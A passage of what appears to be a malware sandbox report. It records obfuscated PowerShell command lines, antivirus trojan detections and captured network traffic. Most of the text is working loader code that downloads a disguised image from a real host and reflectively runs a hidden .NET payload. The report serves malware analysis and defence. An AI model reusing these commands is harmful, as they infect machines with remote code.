xyçCkagAcxyç';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('agAcxyç','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LjQ2ZXNhYmVsaWZkZXRhZHB1ZGlvcmRkZW1tYWhvbS80NzEuNzMuNDUyLjU4MS8vOnB0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" |
cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVQByagAcxyçGwagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwBoagAcxyçHQagAcxyçdagAcxyçBwagAcxyçHMagAcxyçOgagAcxyçvagAcxyçC8agAcxyçdQBwagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZagAcxyçBlagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBuagAcxyçHMagAcxyçLgBjagAcxyçG8agAcxyçbQagAcxyçuagAcxyçGIagAcxyçcgagAcxyçvagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBzagAcxyçC8agAcxyçMagAcxyçagAcxyçwagAcxyçDQagAcxyçLwagAcxyç2agAcxyçDQagAcxyçNagAcxyçagAcxyçvagAcxyçDcagAcxyçNagAcxyçagAcxyç5agAcxyçC8agAcxyçbwByagAcxyçGkagAcxyçZwBpagAcxyçG4agAcxyçYQBsagAcxyçC8agAcxyçbgBlagAcxyçHcagAcxyçXwBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçLgBqagAcxyçHagAcxyçagAcxyçZwagAcxyç/agAcxyçDEagAcxyçNgagAcxyç5agAcxyçDgagAcxyçMagAcxyçagAcxyç4agAcxyçDQagAcxyçNQagAcxyçyagAcxyçDMagAcxyçJwagAcxyç7agAcxyçCQagAcxyçdwBlagAcxyçGIagAcxyçQwBsagAcxyçGkagAcxyçZQBuagAcxyçHQagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçTgBlagAcxyçHcagAcxyçLQBPagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçagAcxyçgagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçTgBlagAcxyçHQagAcxyçLgBXagAcxyçGUagAcxyçYgBDagAcxyçGwagAcxyçaQBlagAcxyçG4agAcxyçdagAcxyçagAcxyç7agAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçHcagAcxyçZQBiagAcxyçEMagAcxyçbagAcxyçBpagAcxyçGUagAcxyçbgB0agAcxyçC4agAcxyçRagAcxyçBvagAcxyçHcagAcxyçbgBsagAcxyçG8agAcxyçYQBkagAcxyçEQagAcxyçYQB0agAcxyçGEagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBVagAcxyçHIagAcxyçbagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçuagAcxyçEUagAcxyçbgBjagAcxyçG8agAcxyçZagAcxyçBpagAcxyçG4agAcxyçZwBdagAcxyçDoagAcxyçOgBVagAcxyçFQagAcxyçRgagAcxyç4agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçUwB0agAcxyçHIagAcxyçaQBuagAcxyçGcagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBCagAcxyçHkagAcxyçdagAcxyçBlagAcxyçHMagAcxyçKQagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBTagAcxyçFQagAcxyçQQBSagAcxyçFQagAcxyçPgagAcxyç+agAcxyçCcagAcxyçOwagAcxyçkagAcxyçGUagAcxyçbgBkagAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBFagAcxyçE4agAcxyçRagAcxyçagAcxyç+agAcxyçD4agAcxyçJwagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBUagAcxyçGUagAcxyçeagAcxyçB0agAcxyçC4agAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçE8agAcxyçZgagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçKQagAcxyç7agAcxyçCQagAcxyçZQBuagAcxyçGQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçTwBmagAcxyçCgagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBGagAcxyçGwagAcxyçYQBnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçHMagAcxyçdagAcxyçBhagAcxyçHIagAcxyçdagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçZQagAcxyçgagAcxyçDagAcxyçagAcxyçIagAcxyçagAcxyçtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçdagAcxyçagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçCsagAcxyçPQagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçLgBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyç7agAcxyçCQagAcxyçYgBhagAcxyçHMagAcxyçZQagAcxyç2agAcxyçDQagAcxyçTagAcxyçBlagAcxyçG4agAcxyçZwB0agAcxyçGgagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçCagAcxyçagAcxyçJagAcxyçBzagAcxyçHQagAcxyçYQByagAcxyçHQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçDsagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBTagAcxyçHUagAcxyçYgBzagAcxyçHQagAcxyçcgBpagAcxyçG4agAcxyçZwagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçQwBvagAcxyçG4agAcxyçdgBlagAcxyçHIagAcxyçdagAcxyçBdagAcxyçDoagAcxyçOgBGagAcxyçHIagAcxyçbwBtagAcxyçEIagAcxyçYQBzagAcxyçGUagAcxyçNgagAcxyç0agAcxyçFMagAcxyçdagAcxyçByagAcxyçGkagAcxyçbgBnagAcxyçCgagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCkagAcxyçOwagAcxyçkagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZQBkagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçUgBlagAcxyçGYagAcxyçbagAcxyçBlagAcxyçGMagAcxyçdagAcxyçBpagAcxyçG8agAcxyçbgagAcxyçuagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQBdagAcxyçDoagAcxyçOgBMagAcxyçG8agAcxyçYQBkagAcxyçCgagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçpagAcxyçDsagAcxyçJagAcxyçB0agAcxyçHkagAcxyçcagAcxyçBlagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçbagAcxyçBvagAcxyçGEagAcxyçZagAcxyçBlagAcxyçGQagAcxyçQQBzagAcxyçHMagAcxyçZQBtagAcxyçGIagAcxyçbagAcxyçB5agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçVagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçoagAcxyçCcagAcxyçRgBpagAcxyçGIagAcxyçZQByagAcxyçC4agAcxyçSagAcxyçBvagAcxyçG0agAcxyçZQagAcxyçnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçG0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçdagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçuagAcxyçEcagAcxyçZQB0agAcxyçE0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCgagAcxyçJwBWagAcxyçEEagAcxyçSQagAcxyçnagAcxyçCkagAcxyçLgBJagAcxyçG4agAcxyçdgBvagAcxyçGsagAcxyçZQagAcxyçoagAcxyçCQagAcxyçbgB1agAcxyçGwagAcxyçbagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçWwBvagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçBbagAcxyçF0agAcxyçXQagAcxyçgagAcxyçCgagAcxyçJwBkagAcxyçEgagAcxyçaagAcxyçagAcxyçwagAcxyçEwagAcxyçagBRagAcxyçDIagAcxyçWgBYagAcxyçE4agAcxyçaagAcxyçBZagAcxyçG0agAcxyçVgBzagAcxyçGEagAcxyçVwBaagAcxyçGsagAcxyçWgBYagAcxyçFIagAcxyçaagAcxyçBaagAcxyçEgagAcxyçQgagAcxyçxagAcxyçFoagAcxyçRwBsagAcxyçHYagAcxyçYwBtagAcxyçFIagAcxyçawBaagAcxyçFcagAcxyçMQB0agAcxyçFkagAcxyçVwBoagAcxyçHYagAcxyçYgBTagAcxyçDgagAcxyçMagAcxyçBOagAcxyçHoagAcxyçRQB1agAcxyçE4agAcxyçegBNagAcxyçHUagAcxyçTgBEagAcxyçFUagAcxyçeQBMagAcxyçGoagAcxyçVQagAcxyç0agAcxyçE0agAcxyçUwagAcxyç4agAcxyçHYagAcxyçTwBuagAcxyçEIagAcxyçMagAcxyçBkagAcxyçEcagAcxyçZwagAcxyç9agAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBkagAcxyçGYagAcxyçZagAcxyçBmagAcxyçGQagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçYQBkagAcxyçHMagAcxyçYQagAcxyçnagAcxyçCagAcxyçagAcxyçLagAcxyçagAcxyçgagAcxyçCcagAcxyçZagAcxyçBlagAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBjagAcxyçHUagAcxyçJwagAcxyçpagAcxyçCkagAcxyç';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('agAcxyç','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
Avast | Other:Malware-gen [Trj] |
Kaspersky | HEUR:Trojan.Script.Generic |
AVG | Other:Malware-gen [Trj] |
Data received | [ |
Data received | We;3`O ¹ÆÉÏ:²C;ÆZÎ 5DOWNGRD zP±9Z^±ß(¿G àø¦íxS{ëß×3ô³À ÿ |
Data received | Q |
Data received | |
Data received | A½R3xõ¼s VOÓï,a+÷ÏR«Q²8· _GÁ+HË:[4LÁÑ{¸Ë@ͨÜr õ-Ū°¶V¡bÔ G0E ZéIȵsðÛîþ> Òû¼ÆE0pZþtv! ;¿¶³ºÛB@¹ FýVÝÌïÊá1¾¦FEO[ |
Data received | |
Data received | |
Data received | |
Data received | |
Data received | 0 |
Data received | ¿r©ë»*u¨& U6¦_ÃÝy%¡ô¢:|¨Ø sȽßTLÖb |
Data sent | y ue;(>SêÐâVÊAN¸8 }òEüÀ[ ¼®B'Óh / 5 ÀÀÀ À 2 8 4ÿ uploaddeimagens.com.br |
Data sent | F BAõU6ÇgxºóáM'arqOuçðý JÛzªSgT4a`Ðu!QaÝîQRÜäÏ$Q«< qø$ 0'X^äè¾×07;ÿøîo#}Èþ4^ÀÙSp~{èúЪtwGݤ3 ü |
parent_process | wscript.exe | martian_process | powershell -command "$Codigo = 'JagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVQByagAcxyçGwagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwBoagAcxyçHQagAcxyçdagAcxyçBwagAcxyçHMagAcxyçOgagAcxyçvagAcxyçC8agAcxyçdQBwagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZagAcxyçBlagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBuagAcxyçHMagAcxyçLgBjagAcxyçG8agAcxyçbQagAcxyçuagAcxyçGIagAcxyçcgagAcxyçvagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBzagAcxyçC8agAcxyçMagAcxyçagAcxyçwagAcxyçDQagAcxyçLwagAcxyç2agAcxyçDQagAcxyçNagAcxyçagAcxyçvagAcxyçDcagAcxyçNagAcxyçagAcxyç5agAcxyçC8agAcxyçbwByagAcxyçGkagAcxyçZwBpagAcxyçG4agAcxyçYQBsagAcxyçC8agAcxyçbgBlagAcxyçHcagAcxyçXwBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçLgBqagAcxyçHagAcxyçagAcxyçZwagAcxyç/agAcxyçDEagAcxyçNgagAcxyç5agAcxyçDgagAcxyçMagAcxyçagAcxyç4agAcxyçDQagAcxyçNQagAcxyçyagAcxyçDMagAcxyçJwagAcxyç7agAcxyçCQagAcxyçdwBlagAcxyçGIagAcxyçQwBsagAcxyçGkagAcxyçZQBuagAcxyçHQagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçTgBlagAcxyçHcagAcxyçLQBPagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçagAcxyçgagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçTgBlagAcxyçHQagAcxyçLgBXagAcxyçGUagAcxyçYgBDagAcxyçGwagAcxyçaQBlagAcxyçG4agAcxyçdagAcxyçagAcxyç7agAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçHcagAcxyçZQBiagAcxyçEMagAcxyçbagAcxyçBpagAcxyçGUagAcxyçbgB0agAcxyçC4agAcxyçRagAcxyçBvagAcxyçHcagAcxyçbgBsagAcxyçG8agAcxyçYQBkagAcxyçEQagAcxyçYQB0agAcxyçGEagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBVagAcxyçHIagAcxyçbagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBpagAcxyçG0agAcxyçYQBnagAcxyçGUagAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçVagAcxyçBlagAcxyçHgagAcxyçdagAcxyçagAcxyçuagAcxyçEUagAcxyçbgBjagAcxyçG8agAcxyçZagAcxyçBpagAcxyçG4agAcxyçZwBdagAcxyçDoagAcxyçOgBVagAcxyçFQagAcxyçRgagAcxyç4agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçUwB0agAcxyçHIagAcxyçaQBuagAcxyçGcagAcxyçKagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBCagAcxyçHkagAcxyçdagAcxyçBlagAcxyçHMagAcxyçKQagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBTagAcxyçFQagAcxyçQQBSagAcxyçFQagAcxyçPgagAcxyç+agAcxyçCcagAcxyçOwagAcxyçkagAcxyçGUagAcxyçbgBkagAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJwagAcxyç8agAcxyçDwagAcxyçQgBBagAcxyçFMagAcxyçRQagAcxyç2agAcxyçDQagAcxyçXwBFagAcxyçE4agAcxyçRagAcxyçagAcxyç+agAcxyçD4agAcxyçJwagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçD0agAcxyçIagAcxyçagAcxyçkagAcxyçGkagAcxyçbQBhagAcxyçGcagAcxyçZQBUagAcxyçGUagAcxyçeagAcxyçB0agAcxyçC4agAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçE8agAcxyçZgagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçKQagAcxyç7agAcxyçCQagAcxyçZQBuagAcxyçGQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçTwBmagAcxyçCgagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBGagAcxyçGwagAcxyçYQBnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçHMagAcxyçdagAcxyçBhagAcxyçHIagAcxyçdagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçZQagAcxyçgagAcxyçDagAcxyçagAcxyçIagAcxyçagAcxyçtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçGcagAcxyçdagAcxyçagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyç7agAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçgagAcxyçCsagAcxyçPQagAcxyçgagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEYagAcxyçbagAcxyçBhagAcxyçGcagAcxyçLgBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyç7agAcxyçCQagAcxyçYgBhagAcxyçHMagAcxyçZQagAcxyç2agAcxyçDQagAcxyçTagAcxyçBlagAcxyçG4agAcxyçZwB0agAcxyçGgagAcxyçIagAcxyçagAcxyç9agAcxyçCagAcxyçagAcxyçJagAcxyçBlagAcxyçG4agAcxyçZagAcxyçBJagAcxyçG4agAcxyçZagAcxyçBlagAcxyçHgagAcxyçIagAcxyçagAcxyçtagAcxyçCagAcxyçagAcxyçJagAcxyçBzagAcxyçHQagAcxyçYQByagAcxyçHQagAcxyçSQBuagAcxyçGQagAcxyçZQB4agAcxyçDsagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçaQBtagAcxyçGEagAcxyçZwBlagAcxyçFQagAcxyçZQB4agAcxyçHQagAcxyçLgBTagAcxyçHUagAcxyçYgBzagAcxyçHQagAcxyçcgBpagAcxyçG4agAcxyçZwagAcxyçoagAcxyçCQagAcxyçcwB0agAcxyçGEagAcxyçcgB0agAcxyçEkagAcxyçbgBkagAcxyçGUagAcxyçeagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBMagAcxyçGUagAcxyçbgBnagAcxyçHQagAcxyçaagAcxyçagAcxyçpagAcxyçDsagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçQwBvagAcxyçG4agAcxyçdgBlagAcxyçHIagAcxyçdagAcxyçBdagAcxyçDoagAcxyçOgBGagAcxyçHIagAcxyçbwBtagAcxyçEIagAcxyçYQBzagAcxyçGUagAcxyçNgagAcxyç0agAcxyçFMagAcxyçdagAcxyçByagAcxyçGkagAcxyçbgBnagAcxyçCgagAcxyçJagAcxyçBiagAcxyçGEagAcxyçcwBlagAcxyçDYagAcxyçNagAcxyçBDagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçCkagAcxyçOwagAcxyçkagAcxyçGwagAcxyçbwBhagAcxyçGQagAcxyçZQBkagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQagAcxyçgagAcxyçD0agAcxyçIagAcxyçBbagAcxyçFMagAcxyçeQBzagAcxyçHQagAcxyçZQBtagAcxyçC4agAcxyçUgBlagAcxyçGYagAcxyçbagAcxyçBlagAcxyçGMagAcxyçdagAcxyçBpagAcxyçG8agAcxyçbgagAcxyçuagAcxyçEEagAcxyçcwBzagAcxyçGUagAcxyçbQBiagAcxyçGwagAcxyçeQBdagAcxyçDoagAcxyçOgBMagAcxyçG8agAcxyçYQBkagAcxyçCgagAcxyçJagAcxyçBjagAcxyçG8agAcxyçbQBtagAcxyçGEagAcxyçbgBkagAcxyçEIagAcxyçeQB0agAcxyçGUagAcxyçcwagAcxyçpagAcxyçDsagAcxyçJagAcxyçB0agAcxyçHkagAcxyçcagAcxyçBlagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçbagAcxyçBvagAcxyçGEagAcxyçZagAcxyçBlagAcxyçGQagAcxyçQQBzagAcxyçHMagAcxyçZQBtagAcxyçGIagAcxyçbagAcxyçB5agAcxyçC4agAcxyçRwBlagAcxyçHQagAcxyçVagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçoagAcxyçCcagAcxyçRgBpagAcxyçGIagAcxyçZQByagAcxyçC4agAcxyçSagAcxyçBvagAcxyçG0agAcxyçZQagAcxyçnagAcxyçCkagAcxyçOwagAcxyçkagAcxyçG0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCagAcxyçagAcxyçPQagAcxyçgagAcxyçCQagAcxyçdagAcxyçB5agAcxyçHagAcxyçagAcxyçZQagAcxyçuagAcxyçEcagAcxyçZQB0agAcxyçE0agAcxyçZQB0agAcxyçGgagAcxyçbwBkagAcxyçCgagAcxyçJwBWagAcxyçEEagAcxyçSQagAcxyçnagAcxyçCkagAcxyçLgBJagAcxyçG4agAcxyçdgBvagAcxyçGsagAcxyçZQagAcxyçoagAcxyçCQagAcxyçbgB1agAcxyçGwagAcxyçbagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçWwBvagAcxyçGIagAcxyçagBlagAcxyçGMagAcxyçdagAcxyçBbagAcxyçF0agAcxyçXQagAcxyçgagAcxyçCgagAcxyçJwBkagAcxyçEgagAcxyçaagAcxyçagAcxyçwagAcxyçEwagAcxyçagBRagAcxyçDIagAcxyçWgBYagAcxyçE4agAcxyçaagAcxyçBZagAcxyçG0agAcxyçVgBzagAcxyçGEagAcxyçVwBaagAcxyçGsagAcxyçWgBYagAcxyçFIagAcxyçaagAcxyçBaagAcxyçEgagAcxyçQgagAcxyçxagAcxyçFoagAcxyçRwBsagAcxyçHYagAcxyçYwBtagAcxyçFIagAcxyçawBaagAcxyçFcagAcxyçMQB0agAcxyçFkagAcxyçVwBoagAcxyçHYagAcxyçYgBTagAcxyçDgagAcxyçMagAcxyçBOagAcxyçHoagAcxyçRQB1agAcxyçE4agAcxyçegBNagAcxyçHUagAcxyçTgBEagAcxyçFUagAcxyçeQBMagAcxyçGoagAcxyçVQagAcxyç0agAcxyçE0agAcxyçUwagAcxyç4agAcxyçHYagAcxyçTwBuagAcxyçEIagAcxyçMagAcxyçBkagAcxyçEcagAcxyçZwagAcxyç9agAcxyçCcagAcxyçIagAcxyçagAcxyçsagAcxyçCagAcxyçagAcxyçJwBkagAcxyçGYagAcxyçZagAcxyçBmagAcxyçGQagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçZgBkagAcxyçGYagAcxyçJwagAcxyçgagAcxyçCwagAcxyçIagAcxyçagAcxyçnagAcxyçGQagAcxyçYQBkagAcxyçHMagAcxyçYQagAcxyçnagAcxyçCagAcxyçagAcxyçLagAcxyçagAcxyçgagAcxyçCcagAcxyçZagAcxyç